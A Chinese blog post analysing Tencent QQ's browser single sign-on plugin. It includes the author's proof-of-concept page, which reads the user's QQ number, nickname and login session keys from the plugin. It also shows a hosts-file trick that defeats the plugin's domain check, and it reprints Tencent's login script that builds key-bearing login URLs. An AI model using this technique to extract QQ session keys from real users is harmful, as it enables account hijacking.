在 QQ 已经登录的情况下,手动输入网址打开 QQ 邮箱 或者 QQ 空间 等腾讯网站,可以看到网页已经检测到本地
QQ 客户端已经登录,于是用户可以很方便地一键登录网站而不必再输入用户名密码。这实际上是典型的异构系统单点登录
SSO(single-sign-on)技术。网页怎么会知道我登录的 QQ 号码?腾讯是如何实现的呢?
网上有很多猜测,比如—— QQ 登录时在本地某地方存登录 ID 信息(Cookie 或文件),用 js 读,然后去服务器认证。但是现在的浏览器一般有沙箱功能,js 无法读到登录 ID;而且在清空 Cookie 后依然起作用。 以 IP、CPU ID、硬盘 ID 等硬件设备 hash 做唯一标识,QQ 登录时在服务器记录此信息,js 验证。感觉这样依赖环境过多,QQ 不太可能采用此方法。 QQ 启动某端口监听,js 连接此端口。但是用 netstat 查看后,QQ 并没有监听端口。
有这么一个神奇的链接,http://login2.qq.com/cgi-bin/qlogin 你一点开,它就检测到你登录了 QQ。通过查看页面源代码,我们可以发现一个关于 ptlogin 的 js 文件,这段代码中,描述了使用 ActivexObject 浏览器插件的过程,于是一切了然。 可是 ActiveX 是 IE 的插件呀,我们使用 Chrome 或者 FireFox 也是可以直接登录的,这是怎么回事呢? 原来,QQ 使用了历史很悠久的 NPAPI(Netscape Plugin Application Programming
Interface)接口。NPAPI 几乎支持所有主流浏览器,包括 FireFox、Chrome、Opera(IE 从 5.5 后停止支持
NPAPI,转而使用 ActiveX)。 打开 chrome://plugins/ 我们可以发现自动登录的有关插件,而在路径 C:\Program Files (x86)\Common Files\Tencent\TXSSO 下就可以找到关于 SSO 的相关动态链接库。
np 插件一般命名都会加np前缀 如 QQ 的这个 npSSOAxCtrlForPTLogin.dll,只要按照标准的写法,
放在浏览器会加载的地方,用的时候写个标签就可以在 js 里面调用了。于是跨浏览器(无视 IE)的插件开发变得相当可行。运行在 NPAPI
插件中的代码拥有当前用户的所有权限,不在沙箱中运行,所以它的扩展程序在被 Chrome 网上应用店接受前要求人工审核。 有点不怀好意的想法开始萌生,我自己的网站能否借用这个插件来检测用户的 QQ 登录呢?写个页面测试一下。 <!DOCTYPE html><html><head><meta charset="utf-8"><title>Tencent SSO Testing</title></head><body><script>var g_vOptData;
var mylocation= "login2.qq.com/cgi-bin1/qlogintest.html";
var pt = {
ishttps: false,
low_login: 0,
keyindex: 9,
init: function()
{
pt.ishttps = /^https/.test(mylocation);
//if (navigator.mimeTypes["application/nptxsso"]) {
var B = document.createElement("embed");
B.type = "application/nptxsso";
B.style.width = "0px";
B.style.height = "0px";
document.body.appendChild(B);
pt.sso = B
}
};
pt.init();
try {
if (window.ActiveXObject)
{
q_hummerQtrl = new ActiveXObject("SSOAxCtrlForPTLogin.SSOForPTLogin2");
var A = q_hummerQtrl.CreateTXSSOData();
q_hummerQtrl.InitSSOFPTCtrl(0, A);
g_vOptData = q_hummerQtrl.CreateTXSSOData()
}
hummer_loaduin();
} catch(B) {
alert(/create ActiveXObject failed/)
}
function hummer_loaduin()
{
if (window.ActiveXObject)
{
var Y = q_hummerQtrl.DoOperation(1, g_vOptData);
if (null == Y) {
return
}
try
{
var T = Y.GetArray("PTALIST");
var c = T.GetSize();
var X = "";
for (var d = 0; d < c; d++) { var E = T.GetData(d); var a = E.GetDWord("dwSSO_Account_dwAccountUin"); var J = ""; var O = E.GetByte("cSSO_Account_cAccountType"); var b = a; if (O == 1) { try { J = E.GetArray("SSO_Account_AccountValueList"); b = J.GetStr(0) } catch(Z) {} } var Q = 0; try { Q = E.GetWord("wSSO_Account_wFaceIndex") } catch(Z) { Q = 0 } var S = ""; try { S = E.GetStr("strSSO_Account_strNickName") } catch(Z) { S = "" } var F = E.GetBuf("bufGTKey_PTLOGIN"); var G = E.GetBuf("bufST_PTLOGIN"); var N = ""; var A = G.GetSize(); for (var W = 0; W < A; W++) { var B = G.GetAt(W).toString("16"); if (B.length == 1) { B = "0" + B } N += B } var M = { uin: a, name: b, type: O, face: Q, nick: S, key: N }; var str = "QQinfo\r\n"+ "uin:" + M['uin']+"\r\n"+ "name:"+M['name']+"\r\n"+ "type:"+M['type']+"\r\n"+ "face:"+M['face']+"\r\n"+ "nick:"+M['nick']+"\r\n"+ "key:"+M['key']+"\r\n"; alert(str); q_aUinList[d] = M } } catch(Z) {} } else { try { var M = pt.sso; var L = M.InitPVA(); if (L != false) { var I = M.GetPVACount(); for (var W = 0; W < I; W++) { var C = M.GetUin(W); var D = M.GetAccountName(W); var K = M.GetFaceIndex(W); var U = M.GetNickname(W); var P = M.GetGender(W); var V = M.GetUinFlag(W); var f = M.GetGTKey(W); var R = M.GetST(W); } var str = "QQinfo\r\n"+ "uin:" + C +"\r\n"+ "name:"+D+"\r\n"+ "face:"+K +"\r\n"+ "nick:"+U+"\r\n"+ "key:"+f+"\r\n"; alert(str); } } catch(Z) {} } }</script></body></html> |
本地打开此页面,create ActiveXObject 失败。腾讯必然在 dll 中就对域名进行了限制,网页是无法篡改的。于是修改本地host文件,加一条: 127.0.0.1 login2.qq.com
再用 login2.qq.com 这个域名去访问本地的这个 html,果然,可以正常拿到 QQ 相关信息。 好吧,这个截图被我打码打得没啥意义了 PS. Chrome 浏览器自带的开发者工具有一个功能可以格式化被压缩的 js 代码,十分好用。废话不多说,有图说明一切——
附xu.js格式化后的代码 function $(A) { return document.getElementById(A) } $.bom = {query: function(B) { var A = window.location.search.match(new RegExp("(/?|&)" + B + "=([^&]*)(&|$)")); return !A ? "" : unescape(A[2]) },getHash: function() { }}; var pt = {ishttps: false,low_login: 0,keyindex: 9,init: function() { pt.ishttps = /^https/.test(window.location); if (navigator.mimeTypes["application/nptxsso"]) { var B = document.createElement("embed"); B.type = "application/nptxsso"; B.style.width = "0px"; B.style.height = "0px"; document.body.appendChild(B); pt.sso = B } try { if ($.bom.query("low_login") == "1") { pt.low_login = 1; $("low_login_box").style.display = "block" } } catch (A) { } window.setTimeout(function() { ptui_reportAttr(256040, 0.05) }, 1000) },switchLowLogin: function(A) { if (A.checked) { $("low_login_hour").disabled = "" } else { $("low_login_hour").disabled = "disabled" } }}; pt.init(); STR_QLOGIN = 1; STR_QLOGIN_OTHER_ERR = 2; STR_QLOGIN_SELECT_TIP = 3; STR_QLOGIN_NO_UIN = 4; STR_QLOGIN_SELECT_OFFLINE = 5; STR_QLOGINING = 6; function ptui_mapStr(B) { for (i = 0; i < B.length; i++) { var A = $(B[i][1]); if (A != null) { if ("A" == A.nodeName || "U" == A.nodeName || "OPTION" == A.nodeName || "LABEL" == A.nodeName || "P" == A.nodeName) { if (A.innerHTML == "") { A.innerHTML = ptui_str(B[i][0]) } } else { if ("INPUT" == A.nodeName) { if (A.value == "") { A.value = ptui_str(B[i][0]) } } else { if ("IMG" == A.nodeName) { A.alt = ptui_str(B[i][0]) } } } } } } function ptui_str(A) { A -= 1; if (A >= 0 && A < g_strArray.length) { return g_strArray[A] } return "" } var g_labelMap = new Array([STR_QLOGIN, "loginbtn"], [STR_QLOGIN_SELECT_TIP, "qlogin_select_tip"]); ptui_mapStr(g_labelMap); function getArgs() { var B = new Object(); try { var F = location.href.substring(location.href.indexOf("/qlogin?") + 8); var E = F.split("&"); for (var C = 0; C < E.length; C++) { var H = E[C].indexOf("="); if (H == -1) { continue } var A = E[C].substring(0, H); var D = E[C].substring(H + 1); D = decodeURIComponent(D); B[A] = D } } catch (G) { setTimeout(arguments.callee, 0) } return B } var params = getArgs(); var g_qtarget = params.qtarget; var g_domain = params.domain; var g_jumpname = params.jumpname; var g_param = params.param; var site = ["qq.com", "paipai.com", "tencent.com", "soso.com", "taotao.com", "tenpay.com", "foxmail.com", "wenwen.com", "3366.com", "imqq.com", "pengyou.com", "qplus.com", "qzone.com", "myapp.com", "kuyoo.cn", "weiyun.com", "wechatapp.com", "51buy.com", "gaopeng.com", "qcloud.com", "qmail.com"]; var flag = false; for (var i = 0; i < site.length; i++) { if (site[i] == g_domain) { flag = true } } if (!flag) { g_domain = "qq.com" } var q_bInit = false; var q_hummerQtrl = null; var g_vOptData = null; var q_aUinList = new Array(); function ptui_qInit() { if (q_bInit) { return } q_bInit = true; try { if (window.ActiveXObject) { q_hummerQtrl = new ActiveXObject("SSOAxCtrlForPTLogin.SSOForPTLogin2"); var A = q_hummerQtrl.CreateTXSSOData(); q_hummerQtrl.InitSSOFPTCtrl(0, A); g_vOptData = q_hummerQtrl.CreateTXSSOData() } else { } hummer_loaduin(); if (q_aUinList.length <= 0) { msg(ptui_str(STR_QLOGIN_NO_UIN)); return false } else { if (ptui_buildUinList) { ptui_buildUinList(q_aUinList) } } document.cookie = "ptui_qstatus=2;domain=ptlogin2." + g_domain + ";path=/" } catch (B) { q_hummerQtrl = null; document.cookie = "ptui_qstatus=3;domain=ptlogin2." + g_domain + ";path=/"; msg(ptui_str(STR_QLOGIN_OTHER_ERR)); ptui_reportAttr(89217, 0.05) } } function list() { $("qlogin_loading").style.visibility = "hidden"; if (/^https/g.test(window.location)) { $("qlogin_loading").innerHTML = '<img src="https://login2.' + g_domain + '/style.ssl/0/images/load.gif" align="absmiddle" />' + ptui_str(STR_QLOGINING) } else { $("qlogin_loading").innerHTML = '<img src="http://imgcache.qq.com/ptlogin/v4/style/0/images/load.gif" align="absmiddle" />' + ptui_str(STR_QLOGINING) } q_bInit = false; ptui_qInit(); if (/^https/g.test(window.location)) { return } if (window.g_time) { g_time.time55 = new Date() } xui_report() } function ptui_buildUinList() { var G = ""; var E = $("list_uin"); if (null == E) { return } var A = q_aUinList.length > 5 ? 5 : q_aUinList.length; for (var C = 0; C < A; C++) { var F = q_aUinList[C]; var B = ""; var D = ""; if (q_aUinList.length == 1) { D = 'style="display:none;"' } if (C == 0) { B = "checked='checked'" } G += "<li><input type='radio' name='q_uin' id='uin_" + F.uin + "' " + B + D + " /><label for='uin_" + F.uin + "'>" + F.nick.replace(/&/g, "&").replace(/</g, "<").replace(/>/g, ">") + " (" + F.name + ")</label></li>" } E.innerHTML = G } function onQloginSelect() { for (var C = 0; C < q_aUinList.length; C++) { var D = q_aUinList[C]; var B = $("uin_" + D.uin); if (B != null) { if (B.checked) { hummer_loaduin(); var A = hummer_getUinObj(D.uin); if (A == null) { msg(ptui_str(STR_QLOGIN_SELECT_OFFLINE), D.uin); return } $("qlogin_loading").style.visibility = "visible"; $("loginbtn").className = "btn_gray"; $("loginbtn").style.color = "gray"; hummer_login(A, g_domain, g_jumpname, g_param) } } } } function hummer_loaduin() { q_aUinList.length = 0; if (window.ActiveXObject) { var Y = q_hummerQtrl.DoOperation(1, g_vOptData); if (null == Y) { return } try { var T = Y.GetArray("PTALIST"); var c = T.GetSize(); var X = ""; var H = $("list_uin"); for (var d = 0; d < c; d++) { var E = T.GetData(d); var a = E.GetDWord("dwSSO_Account_dwAccountUin"); var J = ""; var O = E.GetByte("cSSO_Account_cAccountType"); var b = a; if (O == 1) { try { J = E.GetArray("SSO_Account_AccountValueList"); b = J.GetStr(0) } catch (Z) { } } var Q = 0; try { Q = E.GetWord("wSSO_Account_wFaceIndex") } catch (Z) { Q = 0 } var S = ""; try { S = E.GetStr("strSSO_Account_strNickName") } catch (Z) { S = "" } var F = E.GetBuf("bufGTKey_PTLOGIN"); var G = E.GetBuf("bufST_PTLOGIN"); var N = ""; var A = G.GetSize(); for (var W = 0; W < A; W++) { var B = G.GetAt(W).toString("16"); if (B.length == 1) { B = "0" + B } N += B } var M = {uin: a,name: b,type: O,face: Q,nick: S,key: N}; q_aUinList[d] = M } } catch (Z) { } } else { try { var M = pt.sso; var L = M.InitPVA(); if (L != false) { var I = M.GetPVACount(); for (var W = 0; W < I; W++) { var C = M.GetUin(W); var D = M.GetAccountName(W); var K = M.GetFaceIndex(W); var U = M.GetNickname(W); var P = M.GetGender(W); var V = M.GetUinFlag(W); var f = M.GetGTKey(W); var R = M.GetST(W); q_aUinList[W] = {uin: C,name: D,type: 0,face: K,nick: U,key: R} } if (typeof (M.GetKeyIndex) == "function") { pt.keyindex = M.GetKeyIndex() } } } catch (Z) { } } switch (q_aUinList.length) { case 0: ptui_reportAttr(77430, 0.05); break; case 1: ptui_reportAttr(77431, 0.05); break; default: ptui_reportAttr(77432, 0.05) } } function hummer_getUinObj(B) { for (var A = 0; A < q_aUinList.length; A++) { var C = q_aUinList[A]; if (C.uin == B) { return C } } return null } function unloadpage() { document.domain = g_domain; try { parent.document.body.onbeforeunload = function() { }; parent.document.body.onunload = function() { }; for (var A = 0; A < parent.parent.frames.length; A++) { parent.parent.frames[A].onunload = function() { }; parent.parent.frames[A].onbeforeunload = function() { } } if (parent.parent != top) { for (var A = 0; A < parent.parent.parent.frames.length; A++) { parent.parent.parent.frames[A].onunload = function() { }; parent.parent.parent.frames[A].onbeforeunload = function() { } } } } catch (B) { } } function hummer_login(G, F, A, H) { if (A == "") { A = "jump" } var E = (pt.ishttps ? "https://login2." : "http://ptlogin2.") + F + "/" + A + "?"; var C = $.bom.query("daid"); var D = $.bom.query("regmaster"); if (D == 2 && !pt.ishttps) { E = "http://ptlogin2.function.qq.com/jump?regmaster=2&" } else { if (D == 3 && !pt.ishttps) { E = "http://ptlogin2.crm2.qq.com/jump?regmaster=3&" } } E += "clientuin=" + G.uin + "&clientkey=" + G.key + "&keyindex=" + pt.keyindex + (C ? "&daid=" + C : ""); if (pt.low_login == 1 && $("low_login_enable") && $("low_login_enable").checked) { E += "&low_login_enable=1&low_login_hour=" + $("low_login_hour").value } if (H != null && H != "") { var B = decodeURIComponent(H); if (B.indexOf("#") > -1) { B = B.replace(/#/g, "%23") } E += ("&" + B) } switch (parseInt(g_qtarget)) { case 0: unloadpage(); parent.location.href = E; break; case 1: top.location.href = E; break; case 2: unloadpage(); parent.parent.location.href = E; break; default: top.location.href = E } } function msg(A, B) { A = '<span style="color:#cc0000;">' + A + '</span><a href="http://support.qq.com/write.shtml?guest=1&fid=713&SSTAG=10011-' + B + '" target="_blank">' + g_strArray[6] + "</a>"; try { var D = $("qlogin_loading"); if ((D.style.display != "none") && ($("qlogin").style.display != "none")) { D.innerHTML = A; D.style.display = ""; D.style.visibility = "visible" } } catch (C) { } } function browser_version() { var A = navigator.userAgent.toLowerCase(); return A.match(/msie ([\d.]+)/) ? 2 : A.match(/firefox\/([\d.]+)/) ? 4 : A.match(/chrome\/([\d.]+)/) ? 6 : A.match(/opera.([\d.]+)/) ? 10 : A.match(/version\/([\d.]+).*safari/) ? 13 : 2 } function xui_speedReport(E) { if (pt.isHttps || (window.flag2 && Math.random() > 0.5) || (!window.flag2 && Math.random() > 0.01)) { return } var B = "http://isdspeed.qq.com/cgi-bin/r.cgi?flag1=6000&flag2=1&flag3=" + browser_version(); var C = 0; for (var D in E) { if (E[D] < 0 || E[D] > 300000) { continue } B += "&" + D + "=" + E[D]; C++ } if (C == 0) { return } var A = new Image(); A.src = B } function xui_report() { if (Math.random() > 0.5) { return } if (!window.g_time) { return } if (g_time.time50 && g_time.time50 > 0 && g_time.time51 && g_time.time51 > 0 && g_time.time52 && g_time.time52 > 0 && g_time.time53 && g_time.time53 > 0) { var A = {}; A["1"] = g_time.time51 - g_time.time50; A["6"] = g_time.time52 - g_time.time50; A["2"] = g_time.time54 - g_time.time50; A["3"] = g_time.time55 - g_time.time50; A["4"] = g_time.time54 - g_time.time53; A["5"] = g_time.time55 - g_time.time53 } xui_speedReport(A) } function ptui_reportAttr(C, B) { if (Math.random() > (B || 1)) { return } url = location.protocol + "//ui.ptlogin2.qq.com/cgi-bin/report?id=" + C; var A = new Image(); A.src = url } function pluginBegin() { } list(); try { $("loginbtn").focus() } catch (e) { } ;
参考链接: http://1.lanz.sinaapp.com/?p=152 http:///articles/2012/02/153.html
|